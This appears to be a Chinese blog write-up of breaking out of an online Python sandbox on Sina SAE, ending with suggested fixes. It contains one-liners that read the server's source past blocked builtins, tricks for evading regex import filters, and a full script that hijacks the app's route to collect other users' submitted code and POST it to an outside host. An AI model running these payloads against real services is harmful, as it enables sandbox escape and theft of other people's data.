PY交易之简单沙盒绕过

时间:2022-05-06
本文章向大家介绍PY交易之简单沙盒绕过,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

p猫表哥要我写一些有趣的东西,本人比较菜,见识也比较短浅,也不会ri站,更不会打ctf,只能随便说点我觉得还是比较好玩的东西。

本人在大二上学期的时候自学了Python,然而可能由于身体觉醒得有点晚了吧,所以见到跟Python有关系的东西,例如本文要讲述的能在线执行Python的沙盒,就会感觉像看见小姐姐一样,心跳加速。

第一个见过的Python在线运行的沙盒的时候,还是感觉这个东西很神奇的~~而在某个风和日丽的日子里,随便写几句代码测试的时候,WOC,我竟然把这个沙盒给玩坏了,,,经过反复的几次崩溃,发现了问题的原因,其中有一句写的问题很大:

globals()['__builtins__']['__import__'] = Noneraise Exception

这句报错了。哦,对了,忘记说,这个沙盒的代码我是看过的,虽然这个沙盒屏蔽了open、file、zipfile、reload、os.open 等函数,但是还是有办法读到代码的。

print [entity for entity in ().__class__.__bases__[0].__subclasses__() if entity.__name__ == "file"][0]("index.wsgi").read()print globals()["__builtins__"]["open"]("index.wsgi").read()print globals()["__builtins__"]["file"]("index.wsgi").read()print globals()["__builtins__"]["file"]("index.wsgi").read()print dir()["__builtins__"]["file"]("index.wsgi").read()print dir()["__builtins__"]["open"]("index.wsgi").read()print __import__('__builtin__').open("index.wsgi").read()print __import__('__builtin__').file("index.wsgi").read()

就这样,小小的运行一下,就可以读出来首页的代码了。

读取到的关键代码如下:

import osimport sysimport jsonimport saeimport base64import threadingimport xml.sax.saxutils as saxutilsimport bottlefrom bottle import Bottle, run, route, request, HTTPErrorfrom sae.kvdb import KVClientimport urllib2import editcodeapp = Bottle()os.open = Noneclass PrintHook: def __init__(self):  self.out = '' def write(self, text):  try:   self.out += text  except:   self.out += repr(text) def output(self):  return self.out@app.route('/run', method='POST')def form_submit(): code = request.forms.get('code') def worker(code, event):  def dummy(*args, **kwargs):   pass  try:   g = {'__name__': '__main__', 'open': dummy, 'file': dummy, 'zipfile': dummy, 'reload': dummy}   exec(code, g)  except:   import traceback   traceback.print_exc()  event.set() hook = PrintHook() sys.stdout = sys.stderr = hook event = threading.Event() event.clear() th = threading.Thread(target=worker, args=(code, event)); th.setDaemon(True) th.start() if not event.wait(8):  return 'Script timeout' return hook.output()

有关于执行Python代码的位置在这里:

还是屏蔽了一些东西的,因为这个东西在新浪sae上面,在sae上面是没有写权限的。而当我提交的代码,执行到上面这段,之后站点就崩溃了。大胆的猜测一下,import 模块的时候其实是调用的__import__ 方法进行导入模块。

写个小例子:

通过这个例子可以很清楚的看到,我用自己写的cut函数,替换了系统的 __import__函数,在进行import 的时候,代码逻辑真的走到了我的cut函数。cut的函数参数也不是迷,可以在IDE里面写下__import__,按住ctrl,点一下__import__就会跳转过去。

在写上一句话的时候,我一直在想,我为什么不是直接用 __import__代替 globals()['__builtins__'].__dict__['__import__']

试了一下发现不好用。。。

关于不好用的原因,可能是Python内部不是直接用的__import__,我替换这个函数只是替换掉了这个变量里面指向的函数的位置,但是Python内部可能不是通过这个变量调用的。

通过上面的这段代码,就可以跳出沙盒里面的限制,从try里面替换掉导包的逻辑,在except中,导入traceback模块的过程中,自己写一个类返回回去。

完整的看一下这个执行代码的流程,

35:从请求中获取要执行的代码36:45 执行代码并且限制可以使用的变量46:47 hook输出内容48:49 定义一个用来等待函数返回的事件50:52 创建线程,设置随主线程一起退出,执行线程53:54 判断线程超时56 输出hook到的内容

在这个地方有个有意思的东西,PrintHook类是用来hook所有输出的。

这个类非常的简陋,就这么三个方法,还有一个是构造方法。。

新浪的sae是不允许写文件的,如果我们想要控制执行代码的输出,就要控制这个类,当代码跑起来的时候,这个类就被装在内存里了,简单的尝试发现可以替换这个内容

简单地写一小段代码:

cut函数为Hook __import__的函数,在cut函数中5:9是我自己做的PrintHook,10:14 是在import的过程中,Cut掉PrintHook15:20 是为了保证执行我提交的代码走except的时候,导入traceback不会报错出问题,影响下面的导入25:27 就是为了完成正常的导入了28 把自己构造的Cut塞到内置对象里30行引发一个异常,确保自己的代码在cut内置对象__import__之后走except逻辑,调用import过程,突破执行代码的限制(你在直接输入代码的时候是感知不到外部的像PrintHook对象的,这是对于变量的限制)

然后打开一个新窗口,测试一波。

没错,这货在其他会话也生效了,但是经过测试发现sae会一定的时间就重置一次容器???

内置对象直接全部挂掉,推倒重来。

只是cut了返回结果好像也没什么用。

本人的Python是自学的,关于web这一块的Python框架只会用Django,Flask不是很熟,这种app.route的写法也不是很了解,但是随便编一编还是能写一点点的。

在测试的过程中,突然发现,跳出去那个exec的变量限制之后,能拿到这个app对象,随便变了一段函数,试着替换一下这个,算是路由?

这框架真好玩,真的拿到了我输入的内容。

如果我没记错的话,这个应该是用来测试代码的机器?这么说,是不是改一改就能拿到其他用户输入的代码了???

大部分代码都是直接搬了之前的,也有搬这个页面本身的代码,反正我的cut里面的PrintHookclass被我改成这个样子了,这一整段都是,这里面出现的PrintHook是为了覆盖外面的PrintHook,为了能正常的执行。

#!/usr/bin/env pythonfrom functools import partialdef cut(i, g, name, globals={}, locals={}, fromlist=[], level=-1): globals['__builtins__']['__import__'] = i class PrintHook1:  def __init__(self):   try:    print code   except:    print "[!!!] Get Code Faild"  def write(self, text):   pass  def output(self):   try:    # return str(globals)    app = globals['app']    @app.route('/run', method='POST')    def form_submit():     code = globals['request'].forms.get('code')     if "testcutflag" in code:      return "[!!!] flag repeat"     import sys     import threading     class PrintHook:      def __init__(self):       self.out = ''      def write(self, text):       try:        self.out += text       except:        self.out += repr(text)      def output(self):       return self.out     def worker(code, event):      def dummy(*args, **kwargs):       pass      try:       g = {'__name__': '__main__', 'open': dummy, 'file': dummy, 'zipfile': dummy, 'reload': dummy}       exec(code, g)      except:       import traceback       traceback.print_exc()      event.set()     import dummy     cc = code.encode("hex") + "|" +globals['request'].header.get('Referer','').encode("hex")     try:      dummy.hackhttp.http("http://testsite.com/code.php",post="code=%s" % cc)     except:      pass     hook = PrintHook()     sys.stdout = sys.stderr = hook     event = threading.Event()     event.clear()     th = threading.Thread(target=worker, args=(code, event));     th.setDaemon(True)     th.start()     if not event.wait(8):      return 'Script timeout'     return hook.output()    globals['form_submit'] = form_submit    return "[+++] Cut ok"   except Exception,e:    return str(e) try:  globals['PrintHook'] = PrintHook1  print "[!!!] Test Cut Success"  # print str(globals) except Exception,e:  print "[!!!] Test Cut Faild" if name =="traceback":  try:   class cuttraceback:    @staticmethod    def print_exc():     print "[***] Test Cut traceback.print_exc call"   g['traceback'] = cuttraceback   return cuttraceback  except Exception, e:   print str(e) m = i(name, globals, locals, fromlist, level) g[name] = m return mglobals()['__builtins__']['__import__'] = partial(cut,__import__,globals())print "[***] Test Cut"raise Exceptiontestcutflag

这样就可以做好一个阅读其他用户代码的小玩意了,自己有测试过,确实很好用,但是因为这个沙盒本身也不是很有人常用,加上几分钟重置一次沙盒,也基本没大用处(当然可以写脚本,几分钟提交一次,不过这太缺德了,好的代码估计也不会在这上面跑)

最后还写了个简单的文件浏览器:

事情到此就结束了吗?

可能还没有。

网上有很多可以在线运行代码的地方,有些可以执行命令,甚至有些可以反弹shell,但是这都不是我喜欢的。

我喜欢那种可以获得一个Python shell的,就在你当前运行的环境,可以抽丝剥茧一般的知道你的代码是怎么被丢进来,怎么跑起来。

我就发现过一个,我的代码被丢到docker里面运行起来,这个docker启动了一个Python,Python后面跟了一句解b64然后exec的代码,大概是长这个样子的:

python -m "exec __import__('base64').b64decode('xxxx')"

这句代码解开之后是以一种奇怪的方式去其他的服务器加载代码,看了几遍都不是很明白清楚的理解。

在此和各位大佬分享几个Python扒代码好用一点的函数(库)

sys._getframemarshal.dumpsuncompyle(库)

个人感觉用起来比较舒服的姿势是这样的:

这段代码如果描述就是,如果你愿意一层一层的剥开我的心(笑尿)

简单的用一下,

就这样,直接把当前文件的代码扒出来。

_getframe是用来获取堆栈信息的函数,获取到堆栈信息之后就能拿到诸如函数名,函数代码,当前行号,当前文件等等的信息。参数为0的时候是获取当前函数的堆栈信息,为1就是获取调用者的堆栈信息,以此类推。


关于修复

暂时想到可行的办法一个是docker,另一个是通过建立一个临时的字典的方式,把有可能会对本级造成危害的函数先copy出来,然后在代码执行之后和出现异常走except逻辑的时候。

首先做的就是把备份出来的函数先恢复回去,然后再说其他的异常处理。

在备份的同时也可以删掉比如reload这种不老实的函数,随便替换个无动作的函数。

关于用户导入开发者不希望导入的库的方面,还是希望不要用正则这种有辱智商的操作,Python很灵活。比如屏蔽了import os,可以通过os = __import__('os') ,真的有很多基于正则防御危险代码的这类站点,还可以比如globals()['__builtins__']['__imp'+ '' +'ort__'](True.__class__.__name__[1] + 's')

关于想要禁止一些库的导入,可以试试自己写一个cut导入过程的函数,自己替换进去,不希望导的库就直接报错或者能导没功能。

禁止导库可能发生在比如新浪sae,导入sae模块之后可以读取数据库账号密码主机端口等信息。